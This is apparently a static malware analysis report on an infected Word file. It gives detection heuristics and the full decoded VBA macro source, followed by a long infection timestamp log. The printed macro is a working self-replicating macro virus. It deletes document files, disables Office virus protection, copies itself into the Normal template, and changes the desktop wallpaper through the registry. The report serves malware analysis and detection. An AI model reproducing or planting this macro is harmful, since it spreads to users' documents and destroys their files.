Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3afb8eec0112fe0a…

MALICIOUS

Office (OLE)

81.5 KB Created: 2012-01-09 07:02:00 Authoring application: Microsoft Office Word First seen: 2015-10-05
MD5: 77ae560e584dd23754e5fada17cab080 SHA-1: 47299e08b6ab670a33d1149abc9b321653e6e2d5 SHA-256: 3afb8eec0112fe0a0d002f79abfec234fe85f66e4b91c3e6c856e91819680ef7
210 Risk Score

Heuristics 5

  • ClamAV: Doc.Trojan.Marker-35 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-35
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11393 bytes
SHA-256: a1d5b2887361fe72b4cf029a2285879f0a7aa745b5d2cb639390cf7ada4241d4
Detection
ClamAV: Doc.Trojan.Marker-13
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


'Seline, Where are you dear
Const Marker = "<- this is a marker! by jonhehehe TheBest-versi212x"
Private Sub Document_Open()
Document_Close
End Sub
Private Sub Document_Close()
Dim nmod As Object
Dim isd As String
Dim DS, NTS, DI, NTI As Boolean
Dim Jon, Users, LogData, LogFile As String
On Error Resume Next
AddIns.Unload True
Kill Options.DefaultFilePath(8) & "\*.doc"
Kill Options.DefaultFilePath(8) & "\*.dot"
Options.VirusProtection = False
Application.UserName = "JonMMx 2000"
Application.UserInitials = "MeMeX"
Application.UserAddress = "JonMMx2000@yahoo.com"
Application.EnableCancelKey = wdCancelDisabled
GoSub InsertIon
If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _
   "LogData in") = False) Then GoSub LoggingIn
If Weekday(Now()) = 1 Then GoSub ShowMe
GoTo Finish
InsertIon:
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DI = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NTI = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
If (DI Xor NTI) And (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then
 If DI Then
   NTS = NormalTemplate.Saved
   Jon = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
   For i = 1 To Len(Application.UserAddress)
    If (Mid(Application.UserAddress, i, 1) <> Chr(13)) Then
       If (Mid(Application.UserAddress, i, 1) <> Chr(10)) Then
          Users = Users & Mid(Application.UserAddress, i, 1)
       End If
    Else
       Users = Users & Chr(13) & " '"
    End If
   Next
   Jon = Jon & Chr(13) & _
         "' " & Format(Time, "hh:mm:sc AMPM-") & _
                Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
         "' " & Application.UserName & Chr(13) & _
         "' " & Users & Chr(13) & Chr(13) & " "
   nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
   nt.CodeModule.AddFromString Jon
   If NTS Then NormalTemplate.Save
 End If
 If NTI Then
    DS = ActiveDocument.Saved
    Jon = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString Jon
    If DS Then ActiveDocument.Save
 End If
End If
Return
LoggingIn:
   System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogData in") = True
   GoSub ShowMe
Return
ShowMe:
Dim RootsyS As String
On Error Resume Next
 RootsyS = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot")
 Open RootsyS & "\Jon.html" For Output As #1
 Print #1, "<Html><head><title>Welcome to Destroyer of the last Manillenium JontheBEST</title></head><Body><body bgcolor = '#FFF212' >"
 Print #1, "<center><p align='center'><font color='#800000'size='25'><strong>a Poet For My Dear Love</strong></font></p>"
 Print #1, "<p align='center'><font color='#000000' size='6'><strong><a href='mailto:iamwaiting@yahoo.com'>Dear Iin</a></strong></font> </p>"
 Print #1, "<font normal></center>To the very best that happen in mylife<p>"
 Print #1, "<p>Long ago and in my mind, I can see your face lonely and lost in time "
 Print #1, "<p>You were gone since yester month But the memories, never would dissapear"
 Print #1, "<p>I think of you, I THINK OF YOU.<p>"
 Print #1, "<p>Yes it's true I can pretend. But the paint of blue, keep beat me till the end."
 Print #1, "<p>Yes it's hard to understand. Why you leaving me and all we dreaming on "
 Print #1, "<p>Dear Iin, I close my eyes and see your face.  That's all I have to do to be with you. "
 Print #1, "<p>Dear Iin, altough I can not touch your face.  I know what I can do to be with you "
 Print #1, "<p>Long ago so faraway. But the light of blue, still living with me today."
 Print #1, "<p>You were gone since yester month.  But the memories never would dissapear."
 Print #1, "<center><font color='#245505' size='6'><strong><p>Speed Hari</strong></font></center></Body></html>"
 Close #1
 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General", "Wallpaper") = RootsyS & "\Jon.html"
Return
Finish:
End Sub
'Logfile -->

' 06:14:2518:14:25 -Kamis, 22 Jul 1999
' JonMMx 2000
' jonthebest@hotbot.com


' 09:07:259:07:25 -Sabtu, 24 Jun 2017
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:13:3712:13:37 AM AM-Saturday, 14 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:55:459:55:45 AM AM-Wednesday, 25 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:03:2112:03:21 PM PM-Friday, 27 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:47:402:47:40 PM PM-Sunday, 29 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:37:562:37:56 AM AM-Monday, 30 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:29:4310:29:43 PM PM-Wednesday, 1 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:28:249:28:24 AM AM-Sunday, 5 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:17:912:17:09 PM PM-Monday, 13 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:48:159:48:15 AM AM-Sunday, 26 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:34:5808:34:58 -Wednesday, 6 Oct 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:09:535:09:53 PM PM-Monday, 18 Oct 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:55:3110:55:31 AM AM-Wednesday, 20 Oct 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:57:5211:57:52 AM AM-Saturday, 6 Nov 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:51:302:51:03 PM PM-Monday, 29 Nov 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:24:1411:24:14 AM AM-Tuesday, 11 Jan 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:57:3103:57:31 PM PM-Thursday, 13 Jan 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:26:2203:26:22 下午 下午-Thursday, 17 Feb 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:55:178:55:17  AM-Tuesday, 21 Mar 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:15:509:15:50 AM-Thursday, 30 Mar 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:43:1910:43:19  AM-Monday, 22 May 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:36:388:36:38  AM-Wednesday, 31 May 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:33:210:33:02  AM-Saturday, 17 Jun 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:45:4612:45:46  PM-Wednesday, 26 Jul 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:12:4714:12:47 PM-Tuesday, 26 Sep 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:07:2715:07:27  PM-Tuesday, 14 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 07:04:3319:04:33  PM-Thursday, 16 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 06:29:1818:29:18  PM-Wednesday, 22 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:26:2310:26:23  AM-Saturday, 25 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 07:08:527:08:52  AM-Sunday, 26 Nov 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:15:508:15:50  AM-Friday, 22 Dec 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:50:158:50:15  AM-Wednesday, 7 Feb 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:36:59:36:05  AM-Thursday, 8 Feb 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:35:3403:35:34 下午 下午-Saturday, 24 Feb 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:43:1212:43:12 下午 下午-Saturday, 17 Mar 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:40:5910:40:59 上午 上午-Wednesday, 18 Apr 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:51:5702:51:57 下午 下午-Friday, 20 Apr 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:30:5801:30:58 下午 下午-Tuesday, 22 May 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:18:5812:18:58 下午 下午-Saturday, 16 Jun 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:16:722:16:07 下午-Sunday, 27 Feb 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:02:1515:02:15 下午-Wednesday, 9 Mar 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:54:2517:54:25 下午-Thursday, 17 Mar 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:37:1015:37:10 下午-Tuesday, 29 Mar 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:53:5917:53:59 下午-Thursday, 14 Apr 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:21:3214:21:32 下午-Friday, 13 May 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:49:529:49:52 上午-Tuesday, 28 Jun 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:48:158:48:15 上午-Friday, 15 Jul 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:20:148:20:14 上午-Thursday, 8 Sep 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:04:3811:04:38 上午-Sunday, 18 Sep 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:11:1317:11:13 下午-Thursday, 20 Oct 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:45:3817:45:38 下午-Saturday, 29 Oct 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:50:218:50:21 上午-Monday, 7 Nov 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 06:21:2318:21:23 下午-Friday, 18 Nov 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:06:409:06:40 上午-Saturday, 17 Dec 2011
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:29:239:29:23 上午-Saturday, 14 Jan 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:22:3215:22:32 下午-Sunday, 1 Apr 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:33:5913:33:59 下午-Tuesday, 5 Jun 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:14:3523:14:35 下午-Tuesday, 14 Aug 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:06:3310:06:33 上午-Monday, 27 Aug 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:57:615:57:06 下午-Thursday, 13 Sep 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:48:5317:48:53 下午-Thursday, 20 Sep 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 04:31:2316:31:23 下午-Saturday, 20 Oct 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:58:118:58:11 上午-Thursday, 1 Nov 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:50:588:50:58 上午-Friday, 7 Dec 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:33:3817:33:38 下午-Friday, 21 Dec 2012
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:49:3310:49:33 上午-Wednesday, 20 Feb 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 04:25:416:25:04 下午-Monday, 1 Apr 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:08:469:08:46 上午-Monday, 8 Apr 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:52:3110:52:31 上午-Friday, 5 Jul 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:15:479:15:47 上午-Friday, 19 Jul 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:00:3911:00:39 上午-Monday, 22 Jul 2013
' JonMMx 2000
' JonMMx2000@yahoo.com

Open this report in the interactive analyzer, or submit your own file for analysis.